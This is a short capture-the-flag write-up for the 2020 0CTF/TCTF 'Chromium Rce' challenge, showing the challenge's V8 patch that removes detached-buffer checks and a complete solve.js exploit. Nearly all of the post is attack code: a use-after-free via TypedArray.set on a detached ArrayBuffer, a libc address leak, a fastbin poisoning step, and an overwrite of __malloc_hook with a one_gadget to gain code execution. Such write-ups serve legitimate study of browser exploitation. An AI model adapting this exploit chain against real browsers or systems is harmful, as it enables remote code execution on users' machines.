mhibio

# Do what I have to do

github instagram
[2020 0ctf/tctf] Chromium Rce
Browser Chrome v8 pwnable
May 19, 2020
4 minutes read

Files

.tctf
├── d8
├── snapshot_blob.bin
└── tctf.diff

git checkout f7a1932ef928c190de32dd78246f75bd4ca8778b

patch.diff

diff --git a/src/builtins/typed-array-set.tq b/src/builtins/typed-array-set.tq
index b5c9dcb261..babe7da3f0 100644
--- a/src/builtins/typed-array-set.tq
+++ b/src/builtins/typed-array-set.tq
@@ -70,7 +70,7 @@ TypedArrayPrototypeSet(
     // 7. Let targetBuffer be target.[[ViewedArrayBuffer]].
     // 8. If IsDetachedBuffer(targetBuffer) is true, throw a TypeError
     //   exception.
-    const utarget = typed_array::EnsureAttached(target) otherwise IsDetached;
+    const utarget = %RawDownCast<AttachedJSTypedArray>(target);

     const overloadedArg = arguments[0];
     try {
@@ -86,8 +86,7 @@ TypedArrayPrototypeSet(
       // 10. Let srcBuffer be typedArray.[[ViewedArrayBuffer]].
       // 11. If IsDetachedBuffer(srcBuffer) is true, throw a TypeError
       //   exception.
-      const utypedArray =
-          typed_array::EnsureAttached(typedArray) otherwise IsDetached;
+      const utypedArray = %RawDownCast<AttachedJSTypedArray>(typedArray);

       TypedArrayPrototypeSetTypedArray(
           utarget, utypedArray, targetOffset, targetOffsetOverflowed)
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index 117df1cc52..9c6ca7275d 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -1339,9 +1339,9 @@ MaybeLocal<Context> Shell::CreateRealm(
     }
     delete[] old_realms;
   }
-  Local<ObjectTemplate> global_template = CreateGlobalTemplate(isolate);
   Local<Context> context =
-      Context::New(isolate, nullptr, global_template, global_object);
+      Context::New(isolate, nullptr, ObjectTemplate::New(isolate),
+                   v8::MaybeLocal<Value>());
   DCHECK(!try_catch.HasCaught());
   if (context.IsEmpty()) return MaybeLocal<Context>();
   InitializeModuleEmbedderData(context);
@@ -2260,10 +2260,7 @@ void Shell::Initialize(Isolate* isolate, D8Console* console,
             v8::Isolate::kMessageLog);
   }

-  isolate->SetHostImportModuleDynamicallyCallback(
-      Shell::HostImportModuleDynamically);
-  isolate->SetHostInitializeImportMetaObjectCallback(
-      Shell::HostInitializeImportMetaObject);
+  // `import("xx")` is not allowed

 #ifdef V8_FUZZILLI
   // Let the parent process (Fuzzilli) know we are ready.
@@ -2285,9 +2282,9 @@ Local<Context> Shell::CreateEvaluationContext(Isolate* isolate) {
   // This needs to be a critical section since this is not thread-safe
   base::MutexGuard lock_guard(context_mutex_.Pointer());
   // Initialize the global objects
-  Local<ObjectTemplate> global_template = CreateGlobalTemplate(isolate);
   EscapableHandleScope handle_scope(isolate);
-  Local<Context> context = Context::New(isolate, nullptr, global_template);
+  Local<Context> context = Context::New(isolate, nullptr,
+                                        ObjectTemplate::New(isolate));
   DCHECK(!context.IsEmpty());
   if (i::FLAG_perf_prof_annotate_wasm || i::FLAG_vtune_prof_annotate_wasm) {
     isolate->SetWasmLoadSourceMapCallback(ReadFile);

diff --git a/src/parsing/parser-base.h b/src/parsing/parser-base.h
index 3519599a88..f1ba0fb445 100644
--- a/src/parsing/parser-base.h
+++ b/src/parsing/parser-base.h
@@ -1907,10 +1907,8 @@ ParserBase<Impl>::ParsePrimaryExpression() {
       return ParseTemplateLiteral(impl()->NullExpression(), beg_pos, false);

     case Token::MOD:
-      if (flags().allow_natives_syntax() || extension_ != nullptr) {
-        return ParseV8Intrinsic();
-      }
-      break;
+      // Directly call %ArrayBufferDetach without `--allow-native-syntax` flag
+      return ParseV8Intrinsic();

     default:
       break;

diff --git a/src/parsing/parser.cc b/src/parsing/parser.cc
index 9577b37397..2206d250d7 100644
--- a/src/parsing/parser.cc
+++ b/src/parsing/parser.cc
@@ -357,6 +357,11 @@ Expression* Parser::NewV8Intrinsic(const AstRawString* name,
   const Runtime::Function* function =
       Runtime::FunctionForName(name->raw_data(), name->length());

+  // Only %ArrayBufferDetach allowed
+  if (function->function_id != Runtime::kArrayBufferDetach) {
+    return factory()->NewUndefinedLiteral(kNoSourcePosition);
+  }
+
   // Be more permissive when fuzzing. Intrinsics are not supported.
   if (FLAG_fuzzing) {
     return NewV8RuntimeFunctionForFuzzing(function, args, pos);

Directly call %ArrayBufferDetach without --allow-native-syntax flag
only %ArrayBufferDetach is possible.

new ArrayBuffer(size);

new ArrayBuffer(size); use calloc. => calloc use fastbin

Solve.js

function test(victim, header, body) {
    victim[4] = (body& 0xff) * 0x1000000;
    victim[5] = ((body & 0xffffff00)>>8) + ((header & 0xff) * 0x1000000) + 0x1000000
    victim[6] = ((header & 0xff00) >> 8);
}

/*
function test(victim, header, body) {
		victim[4] = 0x41000000;
		victim[5] = 0x41414141
		victim[6] = 0x41
	}
*/

t = new ArrayBuffer(0x40);
t1 = new Uint32Array(t);

for(var i = 0; i < 0x50; i++) {
    test(t1, 1, 2);
}
// create JIT

a1 = new ArrayBuffer(0x500);
a2 = new ArrayBuffer(0x500);

b1 = new Uint32Array(a1);
b2 = new Uint32Array(a2);
// calloc 2 times

%ArrayBufferDetach(a1);

new ArrayBuffer(0x10);

b2.set(b1, 0)
// leak

header = b2[1]
leak = b2[0] - 0x3ec0f0 + 0x20
body = leak + 0x4f2c5;

libc = ((b2[1] * 0x100000000) + leak);
one_gadget = libc + 0x4f2c5
__malloc_hook = libc + 0x3ebc30;

console.log('[*] [LIBC_HEADER] : 0x' + header.toString(16));
console.log('[*] [LIBC] : 0x'+libc.toString(16));
console.log('[*] [ONESHOT] : 0x'+one_gadget.toString(16));
console.log('[*] [__MALLOC_HOOK] : 0x'+__malloc_hook.toString(16));

z1 = new ArrayBuffer(0x60);
z2 = new ArrayBuffer(0x60);
z3 = new ArrayBuffer(0x60);
z4 = new ArrayBuffer(0x60);
z5 = new ArrayBuffer(0x60);
z6 = new ArrayBuffer(0x60);
z7 = new ArrayBuffer(0x60);

k1 = new Uint8Array(z1);
k2 = new Uint8Array(z2);
k3 = new Uint8Array(z3);
k4 = new Uint8Array(z4);
k5 = new Uint8Array(z5);
k6 = new Uint8Array(z6);
k7 = new Uint8Array(z7);

%ArrayBufferDetach(z1);
%ArrayBufferDetach(z2);
%ArrayBufferDetach(z3);
%ArrayBufferDetach(z4);
%ArrayBufferDetach(z5);
%ArrayBufferDetach(z6);
%ArrayBufferDetach(z7);

// escape tcache for calloc
t1 = new ArrayBuffer(0x60);
t2 = new ArrayBuffer(0x60);
q1 = new Uint32Array(t1);
q2 = new Uint32Array(t2);

%ArrayBufferDetach(t1);

q2.set(q1, 0);

for(var i = 0; i < 8; i++) {
    q2[i] = 0;
}

q2[0] = (__malloc_hook & 0xffffffff) - 0x23
q2[1] = header

q1.set(q2, 0);
// __malloc_hook - 0x23 allocation

new ArrayBuffer(0x60);
victim = new Uint32Array(new ArrayBuffer(0x60));
// malloc_trigger

test(victim, header, body);
// BOOM
console.log("[-] [DEBUG]"); 
while(1);

Back to posts